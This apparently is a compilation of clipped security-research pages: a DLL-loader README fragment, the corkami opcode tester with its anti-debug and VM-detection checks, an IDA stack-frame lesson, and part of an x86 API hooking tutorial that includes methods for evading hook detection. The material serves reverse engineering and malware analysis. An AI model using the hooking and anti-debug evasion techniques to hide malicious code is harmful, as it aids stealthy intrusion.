more reliable to use hardware breakpoints than software breakpoints.

To use hardware breakpoints in gdb, you just use `hb` or `hbreak` instead of
`break`. Note that you only get a limited number of hardware breakpoints.

[code]

    (gdb) b as3_parsemethodinfo_swf_vars_t
    Breakpoint 1 at 0xf6feb8da
    (gdb) c
    Continuing.
    main(): Scanning test/input.swf...
    EngineScanCallback(): Scanning input
    Breakpoint 1, 0xf6feb8da in as3_parsemethodinfo_swf_vars_t ()
    (gdb) bt
    #0  0xf6feb8da in as3_parsemethodinfo_swf_vars_t ()
    #1  0xf6dbad7f in SwfScanFunc ()
    #2  0xf6d73ec3 in UfsScannerWrapper__ScanFile_scanresult_t ()
    #3  0xf6d6c9e3 in UfsClientRequest__fscan_SCAN_REPLY ()
    #4  0xf6d6a818 in UfsNode__ScanLoopHelper_wchar_t ()
    #5  0xf6d6a626 in UfsNode__Analyze_UfsAnalyzeSetup ()
    #6  0xf6d71f7f in UfsClientRequest__AnalyzeLeaf_wchar_t ()
    #7  0xf6d71bb9 in UfsClientRequest__AnalyzePath_wchar_t ()
    #8  0xf6dbbd88 in std___String_alloc_std___String_base_types_char_std__allocator_char______Myptr_void_ ()
    #9  0xf6d75e72 in UfsCmdBase__ExecuteCmd__lambda_c80a88e180c1f4524a759d69aa15f87e____lambda_c80a88e180c1f4524a759d69aa15f87e__ ()
    Backtrace stopped: previous frame inner to this frame (corrupt stack?)
    (gdb) x/3i $pc
    => 0xf6feb8da <as3_parsemethodinfo_swf_vars_t+7>:	lea    ebx,[edx+0x1c]
       0xf6feb8dd <as3_parsemethodinfo_swf_vars_t+10>:	push   esi
       0xf6feb8de <as3_parsemethodinfo_swf_vars_t+11>:	mov    edx,ebx
    
[/code]

## What about Wine and Winelib?

This project does not replace Wine or Winelib.

Winelib is used to port Windows C++ projects to Linux, and Wine is intended to
run full Windows applications. This project is intended to allow native Linux
code to load simple Windows DLLs.

The closest analogy would be ndiswrapper but for userspace.

## License

GPL2

  

# UsermodeTest - corkami - a user-mode opcodes tester - reverse engineering
experiments and documentations - Google Project Hosting

**Created:**| _4/13/2011 8:27:53 AM_  
---|---  
**Updated:**| _4/13/2011 8:27:53 AM_  
**Author:**| __  
**Tags:**| _asm python programming_  
  

# Introduction

this program tests most usermode opcodes, from obsolete to very recent,
including undocumented ones, undefined use or encodings. As well, opcodes used
as anti-debugs, exception triggers, Get IPs...it uses several tricks to be
able to test further than normally expected:

  * using segment 33h trick to test 64b opcodes
  * using ZwAllocateVirtualMemory trick to allocate `[`0000-ffff`]`, so word jumps and returns are working

General FPU/SSE+ opcodes are not included: It's not intended to be complete,
but just stress your emulator/knowledge a bit, and insist on specific points
that are interesting.The whole binary, including the PE structure, is hand-
made in assembly, so your favorite security program might trigger a false
positive warning.

# Details

jumps opcodes:

  * call to word
  * jump short, near, to word, to reg32, to reg16, far
  * return near, near word, far, interrupt

classic opcodes:

  * mov movzx movsx lea xchg add sub sbb adc inc dec or and xor
  * not neg rol ror rcl rcr shl shr shld shrd div mul imul enter leave
  * setXX cmovXX bsf bsr bt btr btc bswap cbw cwde cwd

rare opcodes:

  * xadd aaa daa aas das aad aam lds bound arpl inc jcxz xlatb \(on ebx and bx\) lar
  * verr cmpxchg cmpxchg8b sldt lsl

undocumented opcodes:

  * aam xx, salc, aad xx, bswap reg16, smsw reg32

cpu specific opcodes:

  * popcnt movbe crc32

undocumented encodings:

  * test, 'sal'

os-dependant results:

  * smsw, sidt, sgdt, str, sysenter

nops-equivalent:

  * nop, pause, sfence, mfence, lfence, prefetch`*`, 'hint nop', into, fpu, lock + operators

anti-debuggers:

  * gs, smsw, rdtsc, pushf, pop ss

Get EIP:

  * call, call far, fstenv

Exception triggers:

  * generic int 00-FF , int 2d, illegal instruction,
  * into, int4, int3, int 3, IceBP, TF, bound, lock, in, hlt

documented but frequent disassembly mistakes:

  * bswap, smsw, str, branch hints, word calls/rets/loops, FS:movsd, xlatb, ud

64 bits opcodes:

  * cwde, cmpxchg16, lea RIP, movsxd

# Use

It has currently no options. Just run it from command line, all tests will run
after each other.this is the output you could get under Windows 7, 64bit

[code]

    User-mode opcodes tester v0.1, 2011/04/01  
    Ange Albertini, BSD Licence, 2009-2011 - http://corkami.com  
      
    Info: Windows 7 found  
    testing jumps opcodes...  
    testing classic opcodes...  
    testing rare opcodes...  
    testing undocumented opcodes...  
    testing cpu-specific opcodes...  
    Info: MOVBE not supported  
    testing undocumented encodings...  
    testing os-dependant opcodes...  
    testing 'nop' opcodes...  
    testing opcode-based anti-debuggers...  
    testing opcode-based GetIPs...  
    testing opcode-based exception triggers...  
    testing 64 bits opcodes...  
      
    ...completed!
[/code]

and under XP SP1, running in VmWare:

[code]

    User-mode opcodes tester v0.1, 2011/04/01  
    Ange Albertini, BSD Licence, 2009-2011 - http://corkami.com  
      
    Info: Windows XP found  
    testing jumps opcodes...  
    testing classic opcodes...  
    testing rare opcodes...  
    ERROR: SLDT non null (vm present ?)  
    ERROR: LSL (vm present?)  
    testing undocumented opcodes...  
    testing cpu-specific opcodes...  
    Info: MOVBE not supported  
    testing undocumented encodings...  
    testing os-dependant opcodes...  
    ERROR: SGDT (vm present?) [XP]  
    ERROR: STR reg16 (vm present?) [XP]  
    ERROR: STR reg32 (vm present?) [XP]  
    testing 'nop' opcodes...  
    testing opcode-based anti-debuggers...  
    testing opcode-based GetIPs...  
    testing opcode-based exception triggers...  
    ERROR: privileged instruction (vmware present?) - no exception  
    testing 64 bits opcodes...  
    Info: 64 bits not supported
[/code]

Intermediate messages are displayed then removed, so if it crashes in the
middle of the execution, you'll see instantly where.

# Building

assemble directly with yasm, no linker needed:

[code]

    Yasm -o usermode_test.exe usermode_test.asm
[/code]

* * *
Greetings

  * BeatriX
  * Eugeny Suslikov
  * Gil Dabah
  * Igor Skochinsky
  * Moritz Kroll
  * Oleh Yuschuk
  * Peter Ferrie
  * Sebastian Biallas

  
---

# Cryptographic Key Management Issues & Challendes in Cloud Services

**Created:**| _9/27/2013 12:22:18 PM_  
---|---  
**Updated:**| _9/27/2013 12:22:35 PM_  
**Author:**| _wishi_  
**Tags:**| _cloud computing crypto_  
  
<img src='img/NIST.IR.7956.pdf' />

# Reverse Engineering Mentoring Lesson 002 - Scratchpad Wiki Labs - Free wikis
from Wikia

**Created:**| _12/11/2010 11:20:20 AM_  
---|---  
**Updated:**| _12/11/2010 11:22:16 AM_  
**Author:**| __  
**Tags:**| _reversing Tutorials_  
  

# Reverse Engineering Mentoring Lesson 002

Now compile this second example \(rem002.c\) with the same command:

[code]

    PATH=%PATH%;c:\Borland\BCC55\Bin
    bcc32 -Ic:\Borland\BCC55\Include -Lc:\Borland\BCC55\Lib rem002.c
    
    
[/code]

[code]

    main(int argc, char **argv)
    {
       int a;
    
       a = 1;
    }
    
    
[/code]

Disassemble it with IDA Pro. What's special about the disassembled code?

* * *
Put your answer here:

On compiling I got these responses which is ok \(I had already named it
test1.c instead of rem002\):

[code]

    Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
    test1.c:
    Warning W8070 test1.c 5: Function should return a value in function main
    Warning W8004 test1.c 5: 'a' is assigned a value that is never used in function main
    Warning W8057 test1.c 5: Parameter 'argc' is never used in function main
    Warning W8057 test1.c 5: Parameter 'argv' is never used in function main
    Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland
    
    
[/code]

  

Here is what I see and does not appear different then the first compiled
program even though we put in an integer:

[code]

    .text:00401150 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
    .text:00401150 
    .text:00401150 ; Attributes: bp-based frame
    .text:00401150 
    .text:00401150 ; int __cdecl main(int argc,const char **argv,const char *envp)
    .text:00401150 _main           proc near               ; DATA XREF: .data:004090D0�o
    .text:00401150 
    .text:00401150 argc            = dword ptr  8
    .text:00401150 argv            = dword ptr  0Ch
    .text:00401150 envp            = dword ptr  10h
    .text:00401150 
    .text:00401150                 push    ebp
    .text:00401151                 mov     ebp, esp
    .text:00401153                 pop     ebp
    .text:00401154                 retn
    .text:00401154 _main           endp
    .text:00401154 
    .text:00401154 ; ---------------------------------------------------------------------------
    
    
[/code]

\--Pand0ra 00:39, 10 February 2007 \(UTC\)

* * *
The code is the same because we are using an optimizing compiler \[1\]: the
compiler detected that assigning a value to a variable without using that
variable later on in the code has no effect, so the variable assignment is not
compiled into the executable code. Use the -Od option to disable all
optimization and recompile:

[code]

    PATH=%PATH%;c:\Borland\BCC55\Bin
    bcc32 -Od -Ic:\Borland\BCC55\Include -Lc:\Borland\BCC55\Lib rem002.c
    
    
[/code]

Before you open the recompiled executable with IDA Pro, you should know the
following. IDA Pro saves the disassembly in a database with file extension
.idb, you see this dialog when you save or close:

<img src='img/Temp2_6871.png' width='319' height='282' alt='Save Database
dialog' />

When you open an executable that you've already analyzed with IDA Pro, IDA Pro
will ask you if you want to reuse the previous analysis \(Load existing\) or
start a new \(overwrite\):

<img src='img/Temp2_6870.png' width='424' height='192' alt='Reopen database?'
/>

In our case, we are analyzing a new executable \(we recompiled it\), so we
select overwrite.

Include the new IDA Pro disassembly here:

\--Didier Stevens

* * *
  

Ok so now this is what I see:

[code]

    .text:00401150 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
    .text:00401150 
    .text:00401150 ; Attributes: bp-based frame
    .text:00401150 
    .text:00401150 ; int __cdecl main(int argc,const char **argv,const char *envp)
    .text:00401150 _main           proc near               ; DATA XREF: .data:004090D0�o
    .text:00401150 
    .text:00401150 var_4           = dword ptr -4
    .text:00401150 argc            = dword ptr  8
    .text:00401150 argv            = dword ptr  0Ch
    .text:00401150 envp            = dword ptr  10h
    .text:00401150 
    .text:00401150                 push    ebp
    .text:00401151                 mov     ebp, esp
    .text:00401153                 push    ecx
    .text:00401154                 mov     [ebp+var_4], 1
    .text:0040115B                 pop     ecx
    .text:0040115C                 pop     ebp
    .text:0040115D                 retn
    .text:0040115D _main           endp
    .text:0040115D 
    .text:0040115D ; ---------------------------------------------------------------------------
    
    
[/code]

Ok, now I see the Base Pointer Register moving the integer \(or at least that
is what I am assuming it is\). What is the var\_4 and what are the dword
ptr's?

On a side note, why is the .exe so large \(46kb\) when there is very little
code?

* * *
Auto variables in C are stored on the stack. What you see in the disassembled
code is the assignment of 32-bit integer value 1 to auto variable a, which is
on the stack. To pass function arguments and store auto variables in the
stack, the compiler sets up a stack frame. Read about stack frames here: \[2\]
. BTW, if you watch attentively IDA Pro's autoanalysis process, you will
remark that var\_4 is not present at first and appears later during the
analysis.

  

[code]

    .text:00401150 var_4           = dword ptr -4
    .text:00401150 argc            = dword ptr  8
    .text:00401150 argv            = dword ptr  0Ch
    .text:00401150 envp            = dword ptr  10h
    
    
[/code]

var\_4, argc, argv and envp are assembly labels, they are not real machine
instructions. Labels are a type of assembler directives. Assembler directives
instruct the assembler to operate in a certain way. Labels are just mnemonics
for values. In our case, var\_4 is equal to -4. So each time the assembler
finds var\_4 in the assembly code, it will substitute var\_4 with value -4.
And that's how you have to read it to. We’ll look into argc, argv & envp in a
later example.

[code]

    .text:00401150                 push    ebp
    .text:00401151                 mov     ebp, esp
    .text:00401153                 push    ecx
    
    
[/code]

These are assembly instructions to set up the stack frame.

1\. The ebp register is pushed to the stack to save its content

2\. The content op the esp register \(the esp register contains the stack
pointer\) is copied to the ebp. This overwrites the current value of the ebp
register, but we will restore it at the end from the stack.

3\. The ecx register is pushed to the stack, but not to save it's content\!

In the stack frames document I referenced, you've read that the entry sequence
ends with a 'sub esp, X' instruction, where X is the total size, in bytes, of
all automatic variables used in the function. This is to reserve space on the
stack for the auto variables. So in our case, one auto variable with a size of
4 bytes, we expect to see this: 'sub esp, 4'. But we don't, we see 'push ecx'
instead. This is a trick of the compiler: the effect of 'push ecx' on the esp
register is the same as 'sub esp, X', pushing a register also decreases the
stack pointer with 4. The compiler uses 'push ecx' because this instruction is
smaller \(only 1 byte compared to 3 bytes for the sub instruction\), and is
also probably faster \(to be sure, you should look up the number of execution
cycles each instruction takes\).

  

[code]

    .text:00401154                 mov     [ebp+var_4], 1
    
    
[/code]

This is the assembly instruction for the C statement 'a = 1' It stores 1 into
the memory location pointed to by ebp+var\_4. ebp contains the value of the
stack pointer esp before space was reserved for the auto variables, so in
fact, ebp always points to the top \(because the stack grows downwards\) of
the memory reserved for the autovariables. And the first 4-byte space reserved
from the top of the memory is used to store auto variable a.

These are examples of different addressing schemes:

[code]

    mov     ebp, 1          : set register ebp equal to 1
    mov     [ebp], 1        : set the memory pointed to by register ebp equal to 1
    mov     [ebp-4], 1      : set the memory pointed to by register ebp - 4 equal to 1
    
    
[/code]

  

[code]

    .text:0040115B                 pop     ecx
    .text:0040115C                 pop     ebp
    
    
[/code]

These are assembly instructions to dispose of the stack frame.

1\) The ecx register is poped from the stack, this is done to increase esp
with 4

2\) The ebp register is poped from the stack, this is to restore its content

[code]

    .text:0040115D                 retn
    
    
[/code]

We return to the calling function.

In the next lesson, to help you understand this, we will step through this
code with a debugger.

The reason the file is 46k is because it contains library functions, and other
environment setup code. And the PE file format also provides for data, like
strings. We’ll look at this later.

While you wait for me to publish the debugging lesson, try some programs with
several variables, like these:

[code]

    main(int argc, char **argv)
    {
       int a;
       int b;
    
       a = 1;
       b = 2;
    }
    
    
[/code]

[code]

    main(int argc, char **argv)
    {
       int a;
       char c;
    
       a = 1;
       c = 2;
    }
    
    
[/code]

\--Didier Stevens

Cool beans. Kinda figured ahead of time what the results would be like. Though
I don't understand where "add esp, 0FFFFFFF8h" came from. It seems like it is
associated to var\_8 though I don't understand why. I say this because when I
right-click on it in IDA it allows me to switch it to the var\_8 or convert it
to bin, dec, etc.

[code]

    .text:00401150 ; int __cdecl main(int argc,const char **argv,const char *envp)
    .text:00401150 _main           proc near               ; DATA XREF: .data:004090D0�o
    .text:00401150 
    .text:00401150 var_8           = dword ptr -8
    .text:00401150 var_4           = dword ptr -4
    .text:00401150 argc            = dword ptr  8
    .text:00401150 argv            = dword ptr  0Ch
    .text:00401150 envp            = dword ptr  10h
    .text:00401150 
    .text:00401150                 push    ebp
    .text:00401151                 mov     ebp, esp
    .text:00401153                 add     esp, 0FFFFFFF8h
    .text:00401156                 mov     [ebp+var_4], 1
    .text:0040115D                 mov     [ebp+var_8], 2
    .text:00401164                 pop     ecx
    .text:00401165                 pop     ecx
    .text:00401166                 pop     ebp
    .text:00401167                 retn
    .text:00401167 _main           endp
    
    
[/code]

\--Pand0ra 20:18, 19 February 2007 \(UTC\)

Remember what I explained about stack frames: _In the stack frames document I
referenced, you've read that the entry sequence ends with a 'sub esp, X'
instruction, where X is the total size, in bytes, of all automatic variables
used in the function._ You've 2 auto variables \(2 32-bit integers\), they
require 8 bytes on the stack. So you would expect to see this:

[code]

    .text:00401151                 mov     ebp, esp
    .text:00401153                 sub     esp, 08h
    .text:00401156                 mov     [ebp+var_4], 1
    
    
[/code]

but you see this:

[code]

    .text:00401151                 mov     ebp, esp
    .text:00401153                 add     esp, 0FFFFFFF8h
    .text:00401156                 mov     [ebp+var_4], 1
    
    
[/code]

Now in fact, 0FFFFFFF8h is the Two's Complement \[\[2\]\] representation of
-8. So you have "add esp, -8", which is equivalent with "sub esp, 8".

\--Didier Stevens 19:41, 20 February 2007 \(UTC\)

I see that the var changed when using a char instead of a int for the second
example. Not sure why it is var\_5 instead of var\_8 other then it has to do
with the type of value.

[code]

    .text:00401150 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
    .text:00401150 
    .text:00401150 ; Attributes: bp-based frame
    .text:00401150 
    .text:00401150 ; int __cdecl main(int argc,const char **argv,const char *envp)
    .text:00401150 _main           proc near               ; DATA XREF: .data:004090D0�o
    .text:00401150 
    .text:00401150 var_5           = byte ptr -5
    .text:00401150 var_4           = dword ptr -4
    .text:00401150 argc            = dword ptr  8
    .text:00401150 argv            = dword ptr  0Ch
    .text:00401150 envp            = dword ptr  10h
    .text:00401150 
    .text:00401150                 push    ebp
    .text:00401151                 mov     ebp, esp
    .text:00401153                 add     esp, 0FFFFFFF8h
    .text:00401156                 mov     [ebp+var_4], 1
    .text:0040115D                 mov     [ebp+var_5], 2
    .text:00401161                 pop     ecx
    .text:00401162                 pop     ecx
    .text:00401163                 pop     ebp
    .text:00401164                 retn
    .text:00401164 _main           endp
    
    
[/code]

\--Pand0ra 21:30, 19 February 2007 \(UTC\)

The name of the label var\_5 is not important here, you can rename labels if
you want to \(select a label and press N\).

A char variable in C is 1 byte long, that's why the label is a byte pointer
and not a dword \(double word, or 4 bytes\) pointer:

[code]

    .text:00401150 var_5           = byte ptr -5
    
    
[/code]

The following move instruction:

[code]

    .text:0040115D                 mov     [ebp+var_5], 2
    
    
[/code]

sets exactly 1 byte in memory equal to 2, because var\_5 is a byte pointer.

The following move instruction:

[code]

    .text:00401156                 mov     [ebp+var_4], 1
    
    
[/code]

sets 4 bytes in memory, 3 of them equal to 0 and the last one equal to 1,
because var\_4 is a dword pointer.

This will become clearer with the debugger in Reverse Engineering Mentoring
Lesson 003, where you can see the code in action.

\--Didier Stevens 19:41, 20 February 2007 \(UTC\)

\--New Visitor 5/4/2007

Q: Why, in the second example using char c, does the assembly still show it
reserving8bytes on the stack when sizeof\(c\) is one byte?

A: For efficiency. 32-bit processors work best when accessing memory 32 bits
\(4 bytes\) at a time. To optimize for performance, the stack is accessed in 4
bytes blocks, even if the data is only one byte.

# x86 API Hooking Demystified | Development & Security
**Created:**| _7/4/2012 9:38:29 AM_  
---|---  
**Updated:**| _7/4/2012 9:38:29 AM_  
**Author:**| __  
**Tags:**| _asm API hooking x86_  
  

# x86 API Hooking Demystified

Posted on

July 2, 2012

##  Table of Contents:

  * Abstract
  * Introduction
  * Basic API Hooking
  * Call Gates
  * Advanced Hooking Methods
  * Method I: Prepend a Nop
  * Method II: Push/Retn
  * Method III: Floating Points
  * Method IV: MMX/SSE
  * Method V: Indirect Jump
  * Method VI: Call Instruction
  * Other Methods
  * Other Methods I: Hotpatching
  * Other Methods II: C++ Class Methods
  * Constructing Call Gates
  * Multiple Layers of Hooks
  * Preventing Hook Recursion
  * Proof of Concept
  * References

## Abstract

Today’s post presents several ways of API hooking under the x86 instruction
set.

Throughout the following paragraphs we will introduce the reader to API
hooking, what we can do with it, why API hooking is useful, the most basic
form of API hooking. And, after presenting a simple API hooking method, we
will cover some lesser known and used \(if used at all\) methods which might
come in handy one day, as well as some other techniques to keep in mind when
using any kind of hooking method.

Finally, we refer the reader to production code which will be used on a daily
basis to analyze thousands of malware samples.

## Introduction

The following fragment is a brief explanation on Hooking, taken from Wikipedia
\[1\].

` In computer programming, the term hooking covers a range of techniques used
to alter or augment the behavior of an operating system, of applications, or
of other software components by intercepting function calls or messages or
events passed between software components. Code that handles such intercepted
function calls, events or messages is called a "hook". `

So, we’ve established that hooking allows us to alter the behaviour of
existing software. Before we go further, following is a brief list of example
uses of hooking.

  * Profiling: How fast are certain function calls?
  * Monitoring: Did we send the correct parameters to function X?
  * ..?

A more comprehensive list of why one would want to hook functions can be found
here \[1\] \[2\].

With this list, it should be clear why API hooking is useful. That being said,
it’s time to move on to API hooking itself.

A small note to the reader, this post does **not** cover **breakpoints** ,
**IAT Hooking** , etc. as that is an entire blogpost on its own.

## Basic API Hooking

The easiest way of hooking is by inserting a jump instruction. As you may or
may not already know, the x86 instruction set has a variable length
instruction size \(that is, an instruction can have a length between one byte
and 16 bytes, at max.\) One particular instruction, the unconditional jump, is
five bytes in length. One byte represents the opcode, the other four bytes
represent a 32bit relative offset. \(Note that there is also an unconditional
jump instruction which takes an 8bit relative offset, but we will not use that
instruction in this example.\)

So, if we have two functions, function A and function B, how do we redirect
execution from function A to function B? Well, obviously we will be using a
jump instruction, so all there’s left to do is calculate the correct relative
offset.

Assume that function A is located at address _0×401000_ and that function B is
located at address _0×401800_. What we do next is, we determine the required
relative offset. There is a difference of _0×800_ bytes between the two
functions, and we want to jump from function A to function B, so we don’t have
to worry about negative offsets yet.

Now comes the tricky part, assume that we have already written our jump
instruction at address 0×401000 \(function A\), and that the instruction is
executed. What the CPU will do is the following; first it will add the length
of the instruction to the Instruction Pointer \[3\] \(or Program Counter\),
the length of the jump instruction is five bytes, as we’ve established
earlier. After this, the relative offset is added \(the four bytes, or 32bits
value, located after the opcode\) to the Instruction Pointer. In other words,
the CPU calculates the new Instruction Pointer like the following.

1| `instruction_pointer = instruction_pointer + 5 + relative_offset;`  
---|---  
Therefore, calculating the relative offset requires us to reverse the formula
in the following way.

1| `relative_offset = function_B - function_A - 5;`  
---|---  
We subtract five because that’s the length of the jump instruction which the
CPU adds when executing this instruction, and function\_A is subtracted from
function\_B because it’s a _relative_ jump; the difference between the
addresses of function\_B and function\_A is 0×800 bytes. \(E.g. if we forget
to subtract function\_A, then the CPU will end up at the address 0×401800 +
0×401000 + 5, which is obviously not desired.\)

In assembly, redirecting function A to function B will look roughly like the
following.

<img src='img/Temp2_10754.png' alt='function A is redirected to function B' />

Before the hook you see a few original instructions, however, after hooking,
they are overwritten by our jump instruction. As you can see, the first three
original instructions take a length of six bytes in total \(i.e. you can see
that the _push ebx_ instruction is located at address 0×401006.\) Our jump
instruction uses only five bytes, which leaves us one extra byte, we have
overwritten this byte with a _nop_ instruction \(an instruction that does
nothing.\)

The instructions that have been overwritten are what we call **stolen bytes**
, in the following paragraph we’ll go into more detail about them.

## Call Gates

So, we’ve hooked function A and redirected it to function B. However, what
happens when we want to execute the original function A, without executing the
hook? In order to do this, we have to make a so-called **trampoline**
function, or, as we will refer to it in this article, a **Call Gate**.

The following snippet shows a simple example of using a Call Gate to execute
the original function from the hooking function, where _function\_A\_gate_
denotes the Call Gate to function A \(the function which is being hooked.\)

0102030405060708091011121314| `// this is the hooked function``void`
`function_A(``int` `value, ``int` `value2);` `// this is the Call Gate with
which we can call``// function_A without executing the hook``void`
`(*function_A_gate)(``int` `value, ``int` `value2);` `// this is the hooking
function which is executed``// when function_A is called``void`
`function_B(``int` `value, ``int` `value2)``{`` ``// alter arguments and
execute the original function`` ``function_A_gate(value + 1, value2 + 2);``}`  
---|---  
In the hooking example which we have just discussed, we have overwritten the
first five bytes of function A. In order to execute our original function,
without the hook, we will have to execute the bytes which we have overwritten
when installing the hook, and then jump to the address of function A plus a
few bytes \(so we will _skip_ the jump.\) This is exactly what happens in the
code snippet above, but you don’t see that in the C source, because it’s all
abstracted away. Anyway, an image says more than a thousand words, so.. here’s
an image which shows the internal workings of the Call Gate.

<img src='img/Temp2_10764.png' alt='Call Gate for function A' />

In the image you see the following execution flow; function A is called, the
hook is executed and therefore execution is now in function B. Function B does
some stuff, but at address 0×401820 it wants to execute the original function
A without the hook, this is where the Call Gate kicks in. Many, many words
could be written about the Call Gate, but the image explains it all. The Call
Gate consists of exactly two parts; the original instructions and a jump to
function A, but past the hook. If you grab the image from the Basic API
Hooking section, then you can see that the instructions which were
overwritten, are now located in the Call Gate. The jump in the Call Gate is
calculated simply using the formula which we discussed earlier, however, in
this particular case the addresses and offsets are a bit different, so the
exact formula goes as following.

1| `relative_offset = (function_A_gate + 6) - (function_A + 6) - 5;`  
---|---  
Note carefully that we jump **from** 0×402006 \(function\_A\_gate + 6\) **to**
0×401006 \(function\_A + 6.\) These addresses can be verified in the image
above. Nothing special, except for the fact that we will end up with a
negative relative offset, but that doesn’t give us any problems \(i.e. the CPU
does all the hard work of representing the correct negative relative offset.\)

This is actually all there is to know about basic API hooking, so we will now
discuss some more advanced methods. In a later chapter, Constructing Call
Gates, we will go into more detail regarding how to construct a Call Gate.

## Advanced Hooking Methods

We have seen Basic API Hooking and Call Gates. However, because this method of
hooking is so simple \(inserting a jump instruction\), it is also really easy
to detect. Therefore we will talk about some more _advanced methods_ as well.
Besides that, we will also give an introduction to Hooking C++ Class Methods.

**Detection** of the example in the Basic API Hooking method goes as
following.

123| `if``(*function_A == 0xe9) {`` ``printf``(``"Hook detected in function
A.\n"``);``}`  
---|---  
This is because **0xe9** is the opcode for a jump with a 32bit relative
offset. Depending on the software which we hook, it may or may not detect such
hook. In any case, we will discuss various methods which try to bypass such
detection algorithms. \(Note that software such as GMER \[4\] detects all
types of hooking methods, because it checks virtual memory against the
physical image on the disk.\)

## Method I: Prepend a Nop

This is a really simple workaround, and works with any of the methods which
will follow as well.

Basically, instead of writing for example the jump instruction at function A,
we will first write a _nop_ instruction \(an instruction which does nothing\),
followed by the jump instruction. When applying this technique, do note that
that the jump instruction is now at address 0×401001 \(function\_A + 1\),
which alters the relative offset by one.

An image to show this technique follows.

<img src='img/Temp2_10753.png' alt='prepend a nop before the jump hook' />

Because the first instruction at function A is now a _nop_ instruction, and
not a jump instruction, we’d have to rewrite the detection method to something
like the following in order to detect it.

12345| `unsigned ``char` `*addr = function_A;``while` `(*addr == 0x90)
addr++;``if``(*addr == 0xe9) {`` ``printf``(``"Hook detected in function
A.\n"``);``}`  
---|---  
Basically it skips any nop instructions, which have **0×90** as opcode, and
checks for a jump after all the nop instructions.

## Method II: Push/Retn

The _push_ instruction pushes a 32bit value on the stack, and the _retn_
instruction pops a 32bit address off the stack into the Instruction Pointer
\(in other words, it starts execution at the address which is found at the top
of the stack.\)

This method is six bytes in total, and looks like the following. Note that the
push instruction takes an _absolute_ address, not a relative one.

<img src='img/Temp2_10756.png' alt='push retn hooking method' />

Detection of this technique might look like the following, although keep in
mind that prepending nop instructions, or placing a nop between the push and
retn instruction will not be detected by the following code.

1234| `unsigned ``char` `*addr = function_A;``if``(*addr == 0x68 && addr[5] ==
0xc3) {`` ``printf``(``"Hook detected in function A.\n"``);``}`  
---|---  
As you’ve hopefully figured out by now, **0×68** is the opcode for the push
instruction, and **0xc3** the opcode for the retn instruction.

## Method III: Floating Points

Whereas the methods discussed so far concentrated on _normal_ x86
instructions, there are also some interesting methods involving floating
points, and whatnot.

This example is like the push/retn method, we push a dummy value on the stack,
we then overwrite this dummy value with the real address, and then we return.

What is interesting about this technique is the following; instead of storing
the address to jump to as a 32bit address, we store it as a 64bit floating
point. We then read it \(using the _fld_ instruction\), and translate it to a
32bit value \(using the _fistp_ instruction.\)

The following picture demonstrates the technique, the hook uses eleven bytes,
so that’s a little bit more than the previous methods, but it’s still a nice
method. Also note that **floating\_point** is a pointer to the 64bit floating
point value which contains the address of our hook function.

<img src='img/Temp2_10757.png' alt='hooking using floating points' />

Constructing the floating point is fairly easy, and goes as following.

1| `double` `floating_point_value = (``double``) function_B;`  
---|---  
Where function B is, as with the previous examples, our hook function.

Calling the original function is done through a Call Gate, just like with the
other methods. \(Except in this case the Call Gate will have to contain
atleast the instructions which are found in the first eleven bytes of the
function.\)

Obviously this is only the tip of the iceberg, there are many floating point
instructions which might be useful for this situation. E.g. you could
calculate the hook address by multiplying a value to π \(Pi, which can be
obtained using the _fldpi_ instruction.\)

## Method IV: MMX/SSE

This technique is similar to that of hooking using Floating Points. However,
instead of using Floating Points, we use the MMX/SSE x86 extensions here.

Both techniques use, like the Floating Points technique, the push/retn method.
The first method involves the MMX instructions, particularly the **movd**
instruction. It allows, just like the _fistp_ instruction \(a Floating Points
instruction\) to read a value from memory, and store a value to the stack. The
second method, using the SSE instructions, utilizes the same **movd**
instruction. The only difference between the two methods is the fact that MMX
instructions operate on 64bit registers, whereas the SSE instructions operate
on 128bit registers. \(Although this is not interesting in our case, because
the _movd_ instruction allows reading and writing of 32bit values.\)

Either way, as this technique is exactly the same as the Floating Points one,
except for the instructions that are being used, there is no image \(no need
to flood this article with images..\)

## Method V: Indirect Jump

An indirect jump is basically saying, jump to the address which can be found
_here_. In the Basic API Hooking section we introduced relative jumps, they
are direct jumps. Indirect jumps are more like the Push/Retn method.

An indirect jump is six bytes in length, and an example hook looks like the
following.

<img src='img/Temp2_10761.png' alt='Indirect Jump method' />

Note that the **hook\_func\_ptr** denotes an address at which the address of
our hooking function \(e.g. function B\) can be found.

## Method VI: Call Instruction

Whereas all of the previous hooking methods jump right into the hooking
function itself \(e.g. function B\), this hooking method needs an additional
step. This is because the _call_ instruction jumps to a specified address
after pushing a return address on the stack \(the return address being the
current Instruction Pointer plus the length of the instruction.\)

Because there is now an additional return address on the stack, we will first
have to pop this address off the stack, otherwise our stack will be corrupted.
\(E.g. the hooking function will read incorrect parameters from the stack,
because the stack pointer is incorrect.\) We _pop_ this address off the stack
by adding four to the stack pointer \(when the address is _pushed_ onto the
stack, the stack pointer is first decremented by four, then the address is
written to the address pointed to by the updated stack pointer.\) After the
address has been popped off the stack, we jump to the hooking function.

This technique works for both direct and indirect variants of the call
instruction. Following is an imagine which represents the technique.

<img src='img/Temp2_10760.png' alt='Call Instruction method' />

## Other Methods

Besides the methods which have been discussed so far, there are also a few
other methods, with specific purposes. They might come in handy for some
situations, you never know.. <img src='img/Temp2_10763.png' alt=';)' />

## Other Methods I: Hotpatching

This is a method specific for software compiled with the Microsoft Visual C++
Compiler, which have the Hotpatching flag enabled \(this is the case for
plenty of dlls, such as _user32.dll_.\)

If a function accepts a so-called Hotpatch, then it has been prepared in a
certain way; the first instruction of the function is a **mov edi, edi**
instruction \(which is two bytes in length\) and there are five **nop**
instructions before the function itself. This allows one to place a _short_
jump \(one that takes an 8bit relative offset, and is two bytes in length\) at
the function address \(to overwrite the _mov edi, edi_ instruction\) and a
